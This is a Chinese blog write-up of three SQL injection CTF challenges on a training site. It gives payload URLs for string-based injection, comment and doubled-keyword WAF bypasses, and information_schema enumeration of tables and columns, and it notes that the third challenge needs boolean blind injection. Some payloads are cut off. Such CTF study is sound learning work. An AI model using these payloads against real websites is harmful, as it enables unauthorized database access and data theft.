实验吧三道sql注入题目解题思路以及当中至少点整理（简单的SQL注入、简单的SQL注入2、简单的SQL注入）

原创

xiaosec 于 2017-08-12 12:03:31 发布 3785 收藏 1
分类专栏： CTF以及信息安全

0x00

最近学习CTF有一段时间了，下面将实验吧三题题目的简单SQL注入进行一定的整理，

0x01 简单的sql注入

做题的地址为： http://ctf5.shiyanbar.com/423/web/

第一步：随便输入个数字load下url：http://ctf5.shiyanbar.com/423/web/?id=1发现是这个，老套路，既然题目提示是过滤 我们来各种试试到底过

第二步：payload：http://ctf5.shiyanbar.com/423/web/?id=1'发现报错可以确定是字符型的注入，那来了来试试到底过滤了啥吧，尝试用payloa

第三步：一般的套路绕过：内联注释、双重关键字、大小写混用、编码、。。。。。算了绕WAF的比较多，这里就不总结了改日另开新帖来说

第四步：http://ctf5.shiyanbar.com/423/web/?id=1'/**/unionunion/**/selectselect/**/table_name/**/fromfrom/**/information_schema.tables/**/wh

第五步：同样可以得到列名以及字段的数据最终payload如下：

1' unionunion selectselect flag fromfrom flag wherewhere '1'='1

总结：学到的知识：如何判断过滤了哪些字符；如果绕WAF

0X02简单的SQ L注入2

做题地址：http://ctf5.shiyanbar.com/web/index_2.php 本来我都写好了WP了发到实验吧了发现，不知道哪里可以看到自己的WP好吧，那我就来再写一遍吧。

这题就是做起来的时候不像第一题有显示哪里出错，直接给你的就是一个检测到你有SQL注入的提示。

第一步：首先也是老套路，id=1--->id=1'这样来判定，发现过滤了空格用payload测试列数：http://ctf5.shiyanbar.com/web/index_2.php?id=1'/**

第二步：同样和第一题一样来测试表名，至少这里不需要重写关键字就可以payload如下

http://ctf5.shiyanbar.com/web/index_2.php?id=1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

第三步：得到列名payload如下：

http://ctf5.shiyanbar.com/web/index_2.php?
id=1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag

后门就是老套路了过程就不表了：

学习的至少点：本来按老套路应该有 union select database()的发现居然过了了“）”后来利用前面的至少点直接插数据库所有表吧，这样暴力绕过，后门再问大佬怎么绕过吧，如果有知道的大牛欢迎留言。

ox03简单的SQL注入3

做题地址：http://ctf5.shiyanbar.com/web/index_3.php

第一步：上来先来老套路。。。http://ctf5.shiyanbar.com/web/index_3.php?id=1' http://ctf5.shiyanbar.com/web/index_3.php?id=1'%23发现可以闭合，心里总算安定了http://ctf5.shiyanbar.com/web/index_3.php?id=1' order by 2%23发现还是一行。

第二步：开始使用union 查询试探。http://ctf5.shiyanbar.com/web/index_3.php?id=33333' union select database()%23居然啥反应也没有，顿时心中不知道该如何是好啊。

第三步：难道是各种过滤绕过，不会吧。。。前面不是已经一道绕过了？一翻fuzz后来试试这个吧：http://ctf5.shiyanbar.com/web/index_3.php?id=-1' and 1=1%23发现有问题。。。。不会吧难道是bool盲注：不想写脚本，试试是不是绕过，多方试验之后发现就是bool盲注。没啥了来把写脚本吧。

第四步：脚本，先吃饭晚点发。。。